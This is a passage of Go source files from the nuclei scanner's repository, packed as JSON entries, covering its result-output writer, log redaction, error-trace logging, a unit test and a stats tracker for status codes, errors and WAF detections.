*InternalWrappedEvent) SetOperatorResult(operatorResult *operators.Result) {\n\tiwe.Lock()\n\tdefer iwe.Unlock()\n\n\tiwe.OperatorsResult = operatorResult\n}\n\n// ResultEvent is a wrapped result event for a single nuclei output.\ntype ResultEvent struct {\n\t// Template is the relative filename for the template\n\tTemplate string `json:\"template,omitempty\"`\n\t// TemplateURL is the URL of the template for the result inside the nuclei\n\t// templates repository if it belongs to the repository.\n\tTemplateURL string `json:\"template-url,omitempty\"`\n\t// TemplateID is the ID of the template for the result.\n\tTemplateID string `json:\"template-id\"`\n\t// TemplatePath is the path of template\n\tTemplatePath string `json:\"template-path,omitempty\"`\n\t// TemplateEncoded is the base64 encoded template\n\tTemplateEncoded string `json:\"template-encoded,omitempty\"`\n\t// Info contains information block of the template for the result.\n\tInfo model.Info `json:\"info,inline\"`\n\t// MatcherName is the name of the matcher matched if any.\n\tMatcherName string `json:\"matcher-name,omitempty\"`\n\t// ExtractorName is the name of the extractor matched if any.\n\tExtractorName string `json:\"extractor-name,omitempty\"`\n\t// Type is the type of the result event.\n\tType string `json:\"type\"`\n\t// Host is the host input on which match was found.\n\tHost string `json:\"host,omitempty\"`\n\t// Port is port of the host input on which match was found (if applicable).\n\tPort string `json:\"port,omitempty\"`\n\t// Scheme is the scheme of the host input on which match was found (if applicable).\n\tScheme string `json:\"scheme,omitempty\"`\n\t// URL is the Base URL of the host input on which match was found (if applicable).\n\tURL string `json:\"url,omitempty\"`\n\t// Path is the path input on which match was found.\n\tPath string `json:\"path,omitempty\"`\n\t// Matched contains the matched input in its transformed form.\n\tMatched string `json:\"matched-at,omitempty\"`\n\t// ExtractedResults contains the extraction result from the inputs.\n\tExtractedResults []string `json:\"extracted-results,omitempty\"`\n\t// Request is the optional, dumped request for the match.\n\tRequest string `json:\"request,omitempty\"`\n\t// Response is the optional, dumped response for the match.\n\tResponse string `json:\"response,omitempty\"`\n\t// Metadata contains any optional metadata for the event\n\tMetadata map[string]interface{} `json:\"meta,omitempty\"`\n\t// IP is the IP address for the found result event.\n\tIP string `json:\"ip,omitempty\"`\n\t// Timestamp is the time the result was found at.\n\tTimestamp time.Time `json:\"timestamp\"`\n\t// Interaction is the full details of interactsh interaction.\n\tInteraction *server.Interaction `json:\"interaction,omitempty\"`\n\t// CURLCommand is an optional curl command to reproduce the request\n\t// Only applicable if the report is for HTTP.\n\tCURLCommand string `json:\"curl-command,omitempty\"`\n\t// MatcherStatus is the status of the match\n\tMatcherStatus bool `json:\"matcher-status\"`\n\t// Lines is the line count for the specified match\n\tLines []int `json:\"matched-line,omitempty\"`\n\t// GlobalMatchers identifies whether the matches was detected in the response\n\t// of another template's result event\n\tGlobalMatchers bool `json:\"global-matchers,omitempty\"`\n\n\t// IssueTrackers is the metadata for issue trackers\n\tIssueTrackers map[string]IssueTrackerMetadata `json:\"issue_trackers,omitempty\"`\n\t// ReqURLPattern when enabled contains base URL pattern that was used to generate the request\n\t// must be enabled by setting protocols.ExecuterOptions.ExportReqURLPattern to true\n\tReqURLPattern string `json:\"req_url_pattern,omitempty\"`\n\n\t// Fields related to HTTP Fuzzing functionality of nuclei.\n\t// The output contains additional fields when the result is\n\t// for a fuzzing template.\n\tIsFuzzingResult  bool   `json:\"is_fuzzing_result,omitempty\"`\n\tFuzzingMethod    string `json:\"fuzzing_method,omitempty\"`\n\tFuzzingParameter string `json:\"fuzzing_parameter,omitempty\"`\n\tFuzzingPosition  string `json:\"fuzzing_position,omitempty\"`\n\tAnalyzerDetails  string `json:\"analyzer_details,omitempty\"`\n\n\tFileToIndexPosition map[string]int `json:\"-\"`\n\tTemplateVerifier    string         `json:\"-\"`\n\tError               string         `json:\"error,omitempty\"`\n}\n\ntype IssueTrackerMetadata struct {\n\t// IssueID is the ID of the issue created\n\tIssueID string `json:\"id,omitempty\"`\n\t// IssueURL is the URL of the issue created\n\tIssueURL string `json:\"url,omitempty\"`\n}\n\n// NewStandardWriter creates a new output writer based on user configurations\nfunc NewStandardWriter(options *types.Options) (*StandardWriter, error) {\n\tresumeBool := options.Resume != \"\"\n\n\tauroraColorizer := aurora.NewAurora(!options.NoColor)\n\n\tvar outputFile io.WriteCloser\n\tif options.Output != \"\" {\n\t\toutput, err := newFileOutputWriter(options.Output, resumeBool)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not create output file\")\n\t\t}\n\t\toutputFile = output\n\t}\n\tvar traceOutput io.WriteCloser\n\tif options.TraceLogFile != \"\" {\n\t\toutput, err := newFileOutputWriter(options.TraceLogFile, resumeBool)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not create output file\")\n\t\t}\n\t\ttraceOutput = output\n\t}\n\tvar errorOutput io.WriteCloser\n\tif options.ErrorLogFile != \"\" {\n\t\toutput, err := newFileOutputWriter(options.ErrorLogFile, resumeBool)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not create error file\")\n\t\t}\n\t\terrorOutput = output\n\t}\n\t// Try to create output folder if it doesn't exist\n\tif options.StoreResponse && !fileutil.FolderExists(options.StoreResponseDir) {\n\t\tif err := fileutil.CreateFolder(options.StoreResponseDir); err != nil {\n\t\t\tgologger.Fatal().Msgf(\"Could not create output directory '%s': %s\\n\", options.StoreResponseDir, err)\n\t\t}\n\t}\n\n\twriter := &StandardWriter{\n\t\tjson:             options.JSONL,\n\t\tjsonReqResp:      !options.OmitRawRequests,\n\t\tnoMetadata:       options.NoMeta,\n\t\tmatcherStatus:    options.MatcherStatus,\n\t\ttimestamp:        options.Timestamp,\n\t\taurora:           auroraColorizer,\n\t\tmutex:            &sync.Mutex{},\n\t\toutputFile:       outputFile,\n\t\ttraceFile:        traceOutput,\n\t\terrorFile:        errorOutput,\n\t\tseverityColors:   colorizer.New(auroraColorizer),\n\t\tstoreResponse:    options.StoreResponse,\n\t\tstoreResponseDir: options.StoreResponseDir,\n\t\tomitTemplate:     options.OmitTemplate,\n\t\tKeysToRedact:     options.Redact,\n\t}\n\n\tif v := os.Getenv(\"DISABLE_STDOUT\"); v == \"true\" || v == \"1\" {\n\t\twriter.DisableStdout = true\n\t}\n\n\treturn writer, nil\n}\n\nfunc (w *StandardWriter) ResultCount() int {\n\treturn int(w.resultCount.Load())\n}\n\n// Write writes the event to file and/or screen.\nfunc (w *StandardWriter) Write(event *ResultEvent) error {\n\tif event.Error != \"\" && !w.matcherStatus {\n\t\treturn nil\n\t}\n\n\t// Enrich the result event with extra metadata on the template-path and url.\n\tif event.TemplatePath != \"\" {\n\t\tevent.Template, event.TemplateURL = utils.TemplatePathURL(types.ToString(event.TemplatePath), types.ToString(event.TemplateID), event.TemplateVerifier)\n\t}\n\n\tif len(w.KeysToRedact) > 0 {\n\t\tevent.Request = redactKeys(event.Request, w.KeysToRedact)\n\t\tevent.Response = redactKeys(event.Response, w.KeysToRedact)\n\t\tevent.CURLCommand = redactKeys(event.CURLCommand, w.KeysToRedact)\n\t\tevent.Matched = redactKeys(event.Matched, w.KeysToRedact)\n\t}\n\n\tevent.Timestamp = time.Now()\n\n\tvar data []byte\n\tvar err error\n\n\tif w.json {\n\t\tdata, err = w.formatJSON(event)\n\t} else {\n\t\tdata = w.formatScreen(event)\n\t}\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not format output\")\n\t}\n\tif len(data) == 0 {\n\t\treturn nil\n\t}\n\tw.mutex.Lock()\n\tdefer w.mutex.Unlock()\n\n\tif !w.DisableStdout {\n\t\t_, _ = os.Stdout.Write(data)\n\t\t_, _ = os.Stdout.Write([]byte(\"\\n\"))\n\t}\n\n\tif w.outputFile != nil {\n\t\tif !w.json {\n\t\t\tdata = decolorizerRegex.ReplaceAll(data, []byte(\"\"))\n\t\t}\n\t\tif _, writeErr := w.outputFile.Write(data); writeErr != nil {\n\t\t\treturn errors.Wrap(writeErr, \"could not write to output\")\n\t\t}\n\t\tif w.AddNewLinesOutputFile && w.json {\n\t\t\t_, _ = w.outputFile.Write([]byte(\"\\n\"))\n\t\t}\n\t}\n\tw.resultCount.Add(1)\n\treturn nil\n}\n\nfunc redactKeys(data string, keysToRedact []string) string {\n\tfor _, key := range keysToRedact {\n\t\tkeyPattern := regexp.MustCompile(fmt.Sprintf(`(?i)(%s\\s*[:=]\\s*[\"']?)[^\"'\\r\\n&]+([\"'\\r\\n]?)`, regexp.QuoteMeta(key)))\n\t\tdata = keyPattern.ReplaceAllString(data, `$1***$2`)\n\t}\n\treturn data\n}\n\n// JSONLogRequest is a trace/error log request written to file\ntype JSONLogRequest struct {\n\tTemplate  string      `json:\"template\"`\n\tType      string      `json:\"type\"`\n\tInput     string      `json:\"input\"`\n\tTimestamp *time.Time  `json:\"timestamp,omitempty\"`\n\tAddress   string      `json:\"address\"`\n\tError     string      `json:\"error\"`\n\tKind      string      `json:\"kind,omitempty\"`\n\tAttrs     interface{} `json:\"attrs,omitempty\"`\n}\n\n// Request writes a log the requests trace log\nfunc (w *StandardWriter) Request(templatePath, input, requestType string, requestErr error) {\n\tif w.traceFile == nil && w.errorFile == nil && w.JSONLogRequestHook == nil {\n\t\treturn\n\t}\n\n\trequest := getJSONLogRequestFromError(templatePath, input, requestType, requestErr)\n\tif w.timestamp {\n\t\tts := time.Now()\n\t\trequest.Timestamp = &ts\n\t}\n\tdata, err := jsoniter.Marshal(request)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif w.JSONLogRequestHook != nil {\n\t\tw.JSONLogRequestHook(request)\n\t}\n\n\tif w.traceFile != nil {\n\t\t_, _ = w.traceFile.Write(data)\n\t}\n\n\tif requestErr != nil && w.errorFile != nil {\n\t\t_, _ = w.errorFile.Write(data)\n\t}\n}\n\nfunc getJSONLogRequestFromError(templatePath, input, requestType string, requestErr error) *JSONLogRequest {\n\trequest := &JSONLogRequest{\n\t\tTemplate: templatePath,\n\t\tInput:    input,\n\t\tType:     requestType,\n\t}\n\n\tparsed, _ := urlutil.ParseAbsoluteURL(input, false)\n\tif parsed != nil {\n\t\trequest.Address = parsed.Hostname()\n\t\tport := parsed.Port()\n\t\tif port == \"\" {\n\t\t\tswitch parsed.Scheme {\n\t\t\tcase urlutil.HTTP:\n\t\t\t\tport = \"80\"\n\t\t\tcase urlutil.HTTPS:\n\t\t\t\tport = \"443\"\n\t\t\t}\n\t\t}\n\t\trequest.Address += \":\" + port\n\t}\n\terrX := errkit.FromError(requestErr)\n\tif errX == nil {\n\t\trequest.Error = \"none\"\n\t} else {\n\t\trequest.Kind = errkit.ErrKindUnknown.String()\n\t\tvar cause error\n\t\tif len(errX.Errors()) > 1 {\n\t\t\tcause = errX.Errors()[0]\n\t\t}\n\t\tif cause == nil {\n\t\t\tcause = errX\n\t\t}\n\t\tcause = tryParseCause(cause)\n\t\trequest.Error = cause.Error()\n\t\trequest.Kind = errkit.GetErrorKind(requestErr, nucleierr.ErrTemplateLogic).String()\n\t\tif len(errX.Attrs()) > 0 {\n\t\t\trequest.Attrs = slog.GroupValue(errX.Attrs()...)\n\t\t}\n\t}\n\t// check if address slog attr is available in error if set use it\n\tif val := errkit.GetAttrValue(requestErr, \"address\"); val.Any() != nil {\n\t\trequest.Address = val.String()\n\t}\n\treturn request\n}\n\n// Colorizer returns the colorizer instance for writer\nfunc (w *StandardWriter) Colorizer() aurora.Aurora {\n\treturn w.aurora\n}\n\n// Close closes the output writing interface\nfunc (w *StandardWriter) Close() {\n\tif w.outputFile != nil {\n\t\t_ = w.outputFile.Close()\n\t}\n\tif w.traceFile != nil {\n\t\t_ = w.traceFile.Close()\n\t}\n\tif w.errorFile != nil {\n\t\t_ = w.errorFile.Close()\n\t}\n}\n\n// WriteFailure writes the failure event for template to file and/or screen.\nfunc (w *StandardWriter) WriteFailure(wrappedEvent *InternalWrappedEvent) error {\n\tif !w.matcherStatus {\n\t\treturn nil\n\t}\n\tif len(wrappedEvent.Results) > 0 {\n\t\terrs := []error{}\n\t\tfor _, result := range wrappedEvent.Results {\n\t\t\tresult.MatcherStatus = false // just in case\n\t\t\tif err := w.Write(result); err != nil {\n\t\t\t\terrs = append(errs, err)\n\t\t\t}\n\t\t}\n\t\tif len(errs) > 0 {\n\t\t\treturn multierr.Combine(errs...)\n\t\t}\n\t\treturn nil\n\t}\n\t// if no results were found, manually create a failure event\n\tevent := wrappedEvent.InternalEvent\n\n\ttemplatePath, templateURL := utils.TemplatePathURL(types.ToString(event[\"template-path\"]), types.ToString(event[\"template-id\"]), types.ToString(event[\"template-verifier\"]))\n\tvar templateInfo model.Info\n\tif event[\"template-info\"] != nil {\n\t\ttemplateInfo = event[\"template-info\"].(model.Info)\n\t}\n\tfields := protocolUtils.GetJsonFieldsFromURL(types.ToString(event[\"host\"]))\n\tif types.ToString(event[\"ip\"]) != \"\" {\n\t\tfields.Ip = types.ToString(event[\"ip\"])\n\t}\n\tif types.ToString(event[\"path\"]) != \"\" {\n\t\tfields.Path = types.ToString(event[\"path\"])\n\t}\n\n\tdata := &ResultEvent{\n\t\tTemplate:      templatePath,\n\t\tTemplateURL:   templateURL,\n\t\tTemplateID:    types.ToString(event[\"template-id\"]),\n\t\tTemplatePath:  types.ToString(event[\"template-path\"]),\n\t\tInfo:          templateInfo,\n\t\tType:          types.ToString(event[\"type\"]),\n\t\tHost:          fields.Host,\n\t\tPath:          fields.Path,\n\t\tPort:          fields.Port,\n\t\tScheme:        fields.Scheme,\n\t\tURL:           fields.URL,\n\t\tIP:            fields.Ip,\n\t\tRequest:       types.ToString(event[\"request\"]),\n\t\tResponse:      types.ToString(event[\"response\"]),\n\t\tMatcherStatus: false,\n\t\tTimestamp:     time.Now(),\n\t\t//FIXME: this is workaround to encode the template when no results were found\n\t\tTemplateEncoded: w.encodeTemplate(types.ToString(event[\"template-path\"])),\n\t\tError:           types.ToString(event[\"error\"]),\n\t}\n\treturn w.Write(data)\n}\n\nvar maxTemplateFileSizeForEncoding = unitutils.Mega\n\nfunc (w *StandardWriter) encodeTemplate(templatePath string) string {\n\tdata, err := os.ReadFile(templatePath)\n\tif err == nil && !w.omitTemplate && len(data) <= maxTemplateFileSizeForEncoding && config.DefaultConfig.IsCustomTemplate(templatePath) {\n\t\treturn base64.StdEncoding.EncodeToString(data)\n\t}\n\treturn \"\"\n}\n\nfunc sanitizeFileName(fileName string) string {\n\tfileName = strings.ReplaceAll(fileName, \"http:\", \"\")\n\tfileName = strings.ReplaceAll(fileName, \"https:\", \"\")\n\tfileName = strings.ReplaceAll(fileName, \"/\", \"_\")\n\tfileName = strings.ReplaceAll(fileName, \"\\\\\", \"_\")\n\tfileName = strings.ReplaceAll(fileName, \"-\", \"_\")\n\tfileName = strings.ReplaceAll(fileName, \".\", \"_\")\n\tif osutils.IsWindows() {\n\t\tfileName = strings.ReplaceAll(fileName, \":\", \"_\")\n\t}\n\tfileName = strings.TrimPrefix(fileName, \"__\")\n\treturn fileName\n}\nfunc (w *StandardWriter) WriteStoreDebugData(host, templateID, eventType string, data string) {\n\tif w.storeResponse {\n\t\tif len(host) > 60 {\n\t\t\thost = host[:57] + \"...\"\n\t\t}\n\t\tif len(templateID) > 100 {\n\t\t\ttemplateID = templateID[:97] + \"...\"\n\t\t}\n\n\t\tfilename := sanitizeFileName(fmt.Sprintf(\"%s_%s\", host, templateID))\n\t\tsubFolder := filepath.Join(w.storeResponseDir, sanitizeFileName(eventType))\n\t\tif !fileutil.FolderExists(subFolder) {\n\t\t\t_ = fileutil.CreateFolder(subFolder)\n\t\t}\n\t\tfilename = filepath.Join(subFolder, fmt.Sprintf(\"%s.txt\", filename))\n\t\tf, err := os.OpenFile(filename, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0644)\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"Could not open debug output file: %s\", err)\n\t\t\treturn\n\t\t}\n\t\t_, _ = fmt.Fprintln(f, data)\n\t\t_ = f.Close()\n\t}\n}\n\n// tryParseCause tries to parse the cause of given error\n// this is legacy support due to use of errorutil in existing libraries\n// but this should not be required once all libraries are updated\nfunc tryParseCause(err error) error {\n\tif err == nil {\n\t\treturn nil\n\t}\n\tmsg := err.Error()\n\tif strings.HasPrefix(msg, \"ReadStatusLine:\") {\n\t\t// last index is actual error (from rawhttp)\n\t\tparts := strings.Split(msg, \":\")\n\t\treturn errkit.New(strings.TrimSpace(parts[len(parts)-1]))\n\t}\n\tif strings.Contains(msg, \"read \") {\n\t\t// same here\n\t\tparts := strings.Split(msg, \":\")\n\t\treturn errkit.New(strings.TrimSpace(parts[len(parts)-1]))\n\t}\n\treturn err\n}\n\nfunc (w *StandardWriter) RequestStatsLog(statusCode, response string) {}\n"
  },
  {
    "path": "pkg/output/output_stats.go",
    "content": "package output\n\nimport (\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output/stats\"\n)\n\n// StatsOutputWriter implements writer interface for stats observation\ntype StatsOutputWriter struct {\n\tcolorizer aurora.Aurora\n\tTracker   *stats.Tracker\n}\n\nvar _ Writer = &StatsOutputWriter{}\n\n// NewStatsOutputWriter returns a new StatsOutputWriter instance.\nfunc NewTrackerWriter(t *stats.Tracker) *StatsOutputWriter {\n\treturn &StatsOutputWriter{\n\t\tcolorizer: aurora.NewAurora(true),\n\t\tTracker:   t,\n\t}\n}\n\nfunc (tw *StatsOutputWriter) Close() {}\n\nfunc (tw *StatsOutputWriter) Colorizer() aurora.Aurora {\n\treturn tw.colorizer\n}\n\nfunc (tw *StatsOutputWriter) Write(event *ResultEvent) error {\n\treturn nil\n}\n\nfunc (tw *StatsOutputWriter) WriteFailure(event *InternalWrappedEvent) error {\n\treturn nil\n}\n\nfunc (tw *StatsOutputWriter) Request(templateID, url, requestType string, err error) {\n\tif err == nil {\n\t\treturn\n\t}\n\tjsonReq := getJSONLogRequestFromError(templateID, url, requestType, err)\n\ttw.Tracker.TrackErrorKind(jsonReq.Error)\n}\n\nfunc (tw *StatsOutputWriter) WriteStoreDebugData(host, templateID, eventType string, data string) {}\n\nfunc (tw *StatsOutputWriter) RequestStatsLog(statusCode, response string) {\n\ttw.Tracker.TrackStatusCode(statusCode)\n\ttw.Tracker.TrackWAFDetected(response)\n}\nfunc (tw *StatsOutputWriter) ResultCount() int {\n\treturn 0\n}\n"
  },
  {
    "path": "pkg/output/output_test.go",
    "content": "package output\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestStandardWriterRequest(t *testing.T) {\n\tt.Run(\"WithoutTraceAndError\", func(t *testing.T) {\n\t\tw, err := NewStandardWriter(&types.Options{})\n\t\trequire.NoError(t, err)\n\t\trequire.NotPanics(t, func() {\n\t\t\tw.Request(\"path\", \"input\", \"http\", nil)\n\t\t\tw.Close()\n\t\t})\n\t})\n\n\tt.Run(\"TraceAndErrorWithoutError\", func(t *testing.T) {\n\t\ttraceWriter := &testWriteCloser{}\n\t\terrorWriter := &testWriteCloser{}\n\n\t\tw, err := NewStandardWriter(&types.Options{})\n\t\tw.traceFile = traceWriter\n\t\tw.errorFile = errorWriter\n\t\trequire.NoError(t, err)\n\t\tw.Request(\"path\", \"input\", \"http\", nil)\n\n\t\trequire.Equal(t, `{\"template\":\"path\",\"type\":\"http\",\"input\":\"input\",\"address\":\"input:\",\"error\":\"none\"}`, traceWriter.String())\n\t\trequire.Empty(t, errorWriter.String())\n\t})\n\n\tt.Run(\"ErrorWithWrappedError\", func(t *testing.T) {\n\t\terrorWriter := &testWriteCloser{}\n\n\t\tw, err := NewStandardWriter(&types.Options{})\n\t\tw.errorFile = errorWriter\n\t\trequire.NoError(t, err)\n\t\tw.Request(\n\t\t\t\"misconfiguration/tcpconfig.yaml\",\n\t\t\t\"https://example.com/tcpconfig.html\",\n\t\t\t\"http\",\n\t\t\tfmt.Errorf(\"GET https://example.com/tcpconfig.html/tcpconfig.html giving up after 2 attempts: %w\", errors.New(\"context deadline exceeded (Client.Timeout exceeded while awaiting headers)\")),\n\t\t)\n\n\t\trequire.Equal(t, `{\"template\":\"misconfiguration/tcpconfig.yaml\",\"type\":\"http\",\"input\":\"https://example.com/tcpconfig.html\",\"address\":\"example.com:443\",\"error\":\"cause=\\\"context deadline exceeded (Client.Timeout exceeded while awaiting headers)\\\"\",\"kind\":\"unknown-error\"}`, errorWriter.String())\n\t})\n}\n\ntype testWriteCloser struct {\n\tstrings.Builder\n}\n\nfunc (w testWriteCloser) Close() error {\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/output/standard_writer.go",
    "content": "package output\n\nimport (\n\t\"io\"\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n)\n\n// WriterOptions contains configuration options for a writer\ntype WriterOptions func(s *StandardWriter) error\n\n// WithJson writes output in json format\nfunc WithJson(json bool, dumpReqResp bool) WriterOptions {\n\treturn func(s *StandardWriter) error {\n\t\ts.json = json\n\t\ts.jsonReqResp = dumpReqResp\n\t\treturn nil\n\t}\n}\n\n// WithTimestamp writes output with timestamp\nfunc WithTimestamp(timestamp bool) WriterOptions {\n\treturn func(s *StandardWriter) error {\n\t\ts.timestamp = timestamp\n\t\treturn nil\n\t}\n}\n\n// WithNoMetadata disables metadata output\nfunc WithNoMetadata(noMetadata bool) WriterOptions {\n\treturn func(s *StandardWriter) error {\n\t\ts.noMetadata = noMetadata\n\t\treturn nil\n\t}\n}\n\n// WithMatcherStatus writes output with matcher status\nfunc WithMatcherStatus(matcherStatus bool) WriterOptions {\n\treturn func(s *StandardWriter) error {\n\t\ts.matcherStatus = matcherStatus\n\t\treturn nil\n\t}\n}\n\n// WithAurora sets the aurora instance for the writer\nfunc WithAurora(aurora aurora.Aurora) WriterOptions {\n\treturn func(s *StandardWriter) error {\n\t\ts.aurora = aurora\n\t\treturn nil\n\t}\n}\n\n// WithWriter sets the writer for the writer\nfunc WithWriter(outputFile io.WriteCloser) WriterOptions {\n\treturn func(s *StandardWriter) error {\n\t\ts.outputFile = outputFile\n\t\treturn nil\n\t}\n}\n\n// WithTraceSink sets the writer where trace output is written\nfunc WithTraceSink(traceFile io.WriteCloser) WriterOptions {\n\treturn func(s *StandardWriter) error {\n\t\ts.traceFile = traceFile\n\t\treturn nil\n\t}\n}\n\n// WithErrorSink sets the writer where error output is written\nfunc WithErrorSink(errorFile io.WriteCloser) WriterOptions {\n\treturn func(s *StandardWriter) error {\n\t\ts.errorFile = errorFile\n\t\treturn nil\n\t}\n}\n\n// WithSeverityColors sets the color function for severity\nfunc WithSeverityColors(severityColors func(severity.Severity) string) WriterOptions {\n\treturn func(s *StandardWriter) error {\n\t\ts.severityColors = severityColors\n\t\treturn nil\n\t}\n}\n\n// WithStoreResponse sets the store response option\nfunc WithStoreResponse(storeResponse bool, respDir string) WriterOptions {\n\treturn func(s *StandardWriter) error {\n\t\ts.storeResponse = storeResponse\n\t\ts.storeResponseDir = respDir\n\t\treturn nil\n\t}\n}\n\n// NewWriter creates a new output writer\n// if no writer is specified it writes to stdout\nfunc NewWriter(opts ...WriterOptions) (*StandardWriter, error) {\n\ts := &StandardWriter{\n\t\tmutex:                 &sync.Mutex{},\n\t\tDisableStdout:         true,\n\t\tAddNewLinesOutputFile: true,\n\t}\n\tfor _, opt := range opts {\n\t\tif err := opt(s); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif s.aurora == nil {\n\t\ts.aurora = aurora.NewAurora(false)\n\t}\n\tif s.outputFile == nil {\n\t\ts.outputFile = os.Stdout\n\t}\n\t// Try to create output folder if it doesn't exist\n\tif s.storeResponse && !fileutil.FolderExists(s.storeResponseDir) {\n\t\tif err := fileutil.CreateFolder(s.storeResponseDir); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn s, nil\n}\n"
  },
  {
    "path": "pkg/output/stats/stats.go",
    "content": "// Package stats provides a stats tracker for tracking Status Codes,\n// Errors & WAF detection events.\n//\n// It is wrapped and called by output.Writer interface.\npackage stats\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"sort\"\n\t\"strconv\"\n\t\"sync/atomic\"\n\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output/stats/waf\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\n// Tracker is a stats tracker instance for nuclei scans\ntype Tracker struct {\n\t// counters for various stats\n\tstatusCodes *mapsutil.SyncLockMap[string, *atomic.Int32]\n\terrorCodes  *mapsutil.SyncLockMap[string, *atomic.Int32]\n\twafDetected *mapsutil.SyncLockMap[string, *atomic.Int32]\n\n\t// internal stuff\n\twafDetector *waf.WafDetector\n}\n\n// NewTracker creates a new Tracker instance.\nfunc NewTracker() *Tracker {\n\treturn &Tracker{\n\t\tstatusCodes: mapsutil.NewSyncLockMap[string, *atomic.Int32](),\n\t\terrorCodes:  mapsutil.NewSyncLockMap[string, *atomic.Int32](),\n\t\twafDetected: mapsutil.NewSyncLockMap[string, *atomic.Int32](),\n\t\twafDetector: waf.NewWafDetector(),\n\t}\n}\n\n// TrackStatusCode tracks the status code of a request\nfunc (t *Tracker) TrackStatusCode(statusCode string) {\n\tt.incrementCounter(t.statusCodes, statusCode)\n}\n\n// TrackErrorKind tracks the error kind of a request\nfunc (t *Tracker) TrackErrorKind(errKind string) {\n\tt.incrementCounter(t.errorCodes, errKind)\n}\n\n// TrackWAFDetected tracks the waf detected of a request\n//\n// First it detects if a waf is running and if so, it increments\n// the counter for the waf.\nfunc (t *Tracker) TrackWAFDetected(httpResponse string) {\n\twaf, ok := t.wafDetector.DetectWAF(httpResponse)\n\tif !ok {\n\t\treturn\n\t}\n\n\tt.incrementCounter(t.wafDetected, waf)\n}\n\nfunc (t *Tracker) incrementCounter(m *mapsutil.SyncLockMap[string, *atomic.Int32], key string) {\n\tif counter, ok := m.Get(key); ok {\n\t\tcounter.Add(1)\n\t} else {\n\t\tnewCounter := new(atomic.Int32)\n\t\tnewCounter.Store(1)\n\t\t_ = m.Set(key, newCounter)\n\t}\n}\n\ntype StatsOutput struct {\n\tStatusCodeStats map[string]int `json:\"status_code_stats\"`\n\tErrorStats      map[string]int `json:\"error_stats\"`\n\tWAFStats        map[string]int `json:\"waf_stats\"`\n}\n\nfunc (t *Tracker) GetStats() *StatsOutput {\n\tstats := &StatsOutput{\n\t\tStatusCodeStats: make(map[string]int),\n\t\tErrorStats:      make(map[string]int),\n\t\tWAFStats:        make(map[string]int),\n\t}\n\t_ = t.errorCodes.Iterate(func(k string, v *atomic.Int32) error {\n\t\tstats.ErrorStats[k] = int(v.Load())\n\t\treturn nil\n\t})\n\t_ = t.statusCodes.Iterate(func(k string, v *atomic.Int32) error {\n\t\tstats.StatusCodeStats[k] = int(v.Load())\n\t\treturn nil\n\t})\n\t_ = t.wafDetected.Iterate(func(k string, v *atomic.Int32) error {\n\t\twaf, ok := t.wafDetector.GetWAF(k)\n\t\tif !ok {\n\t\t\treturn nil\n\t\t}\n\t\tstats.WAFStats[waf.Name] = int(v.Load())\n\t\treturn nil\n\t})\n\treturn stats\n}\n\n// DisplayTopStats prints the most relevant statistics for CLI\nfunc (t *Tracker) DisplayTopStats(noColor bool) {\n\tstats := t.GetStats()\n\n\tif len(stats.StatusCodeStats) > 0 {\n\t\tfmt.Printf(\"\\n%s\\n\", aurora.Bold(aurora.Blue(\"Top Status Codes:\")))\n\t\ttopStatusCodes := getTopN(stats.StatusCodeStats, 6)\n\t\tfor _, item := range topStatusCodes {\n\t\t\tif noColor {\n\t\t\t\tfmt.Printf(\"  %s: %d\\n\", item.Key, item.Value)\n\t\t\t} else {\n\t\t\t\tcolor := getStatusCodeColor(item.Key)\n\t\t\t\tfmt.Printf(\"  %s: %d\\n\", aurora.Colorize(item.Key, color), item.Value)\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(stats.ErrorStats) > 0 {\n\t\tfmt.Printf(\"\\n%s\\n\", aurora.Bold(aurora.Red(\"Top Errors:\")))\n\t\ttopErrors := getTopN(stats.ErrorStats, 5)\n\t\tfor _, item := range topErrors {\n\t\t\tif noColor {\n\t\t\t\tfmt.Printf(\"  %s: %d\\n\", item.Key, item.Value)\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"  %s: %d\\n\", aurora.Red(item.Key), item.Value)\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(stats.WAFStats) > 0 {\n\t\tfmt.Printf(\"\\n%s\\n\", aurora.Bold(aurora.Yellow(\"WAF Detections:\")))\n\t\tfor name, count := range stats.WAFStats {\n\t\t\tif noColor {\n\t\t\t\tfmt.Printf(\"  %s: %d\\n\", name, count)\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"  %s: %d\\n\", aurora.Yellow(name), count)\n\t\t\t}\n\t\t}\n\t}\n}\n\n// Helper struct for sorting\ntype kv struct {\n\tKey   string\n\tValue int\n}\n\n// getTopN returns top N items from a map, sorted by value\nfunc getTopN(m map[string]int, n int) []kv {\n\tvar items []kv\n\tfor k, v := range m {\n\t\titems = append(items, kv{k, v})\n\t}\n\n\tsort.Slice(items, func(i, j int) bool {\n\t\treturn items[i].Value > items[j].Value\n\t})\n\n\tif len(items) > n {\n\t\titems = items[:n]\n\t}\n\treturn items\n}\n\n// getStatusCodeColor returns appropriate color for status code\nfunc getStatusCodeColor(statusCode string) aurora.Color {\n\tcode, _ := strconv.Atoi(statusCode)\n\tswitch {\n\tcase code >= 200 && code < 300:\n\t\treturn aurora.GreenFg\n\tcase code >= 300 && code < 400:\n\t\treturn 